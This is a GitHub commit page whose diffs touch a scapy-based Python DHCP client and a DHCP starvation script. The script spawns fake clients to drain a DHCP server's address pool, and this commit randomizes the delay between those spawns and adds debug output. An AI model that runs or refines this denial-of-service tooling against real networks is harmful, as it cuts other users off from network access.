Skip to content

Commit

Permalink
hiii
Browse files Browse the repository at this point in the history
  • Loading branch information
idanmaman2 committed Nov 16, 2022
1 parent 82e20a3 commit 27f8237
Show file tree
Hide file tree
Showing 3 changed files with 6 additions and 9 deletions.
Binary file modified __pycache__/dhcpClient.cpython-310.pyc
Binary file not shown.
3 changes: 3 additions & 0 deletions dhcpClient.py
Original file line number Diff line number Diff line change
Expand Up @@ -93,6 +93,9 @@ def __requestyou__(self,packet)->None:
print("sending")
ack = srp1(pack,iface=self.__settings__["interface"],verbose=False)
optionsAck = ack[DHCP].options
print('*'*20)
ack.show()
print("*"*20)
for i in optionsAck :
if i[0] == "lease_time":
self.time = i[1]
Expand Down
12 changes: 3 additions & 9 deletions dhcpStarvation.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
from threading import Thread
import time
import sys

import random

def starvation(presist : bool , iface : str , target: str )-> None :
'''
Expand All @@ -14,13 +14,12 @@ def starvation(presist : bool , iface : str , target: str )-> None :
-i IFACE, --iface IFACE Interface you wish to use
-t TARGET, --target TARGET IP of target server
'''


clients = []

def push(clients):
while(1):
time.sleep(0.5)
time.sleep(random.random())
clt = DHCPClient()
clt.mantian = True
clt.discover().join()
Expand All @@ -38,15 +37,10 @@ def mantain (clients) :
client.to_trash().join()
time.sleep(0.1)
print(f"""{client.stat} -{client.name} reconnect""")





presistT = Thread (target = mantain ,args = (clients,)) if presist else None
push = Thread (target = push ,args = (clients,)) if presist else None



def starv(clients):
threads =[ ]
DHCPClient.reset()
Expand Down

0 comments on commit 27f8237

Please sign in to comment.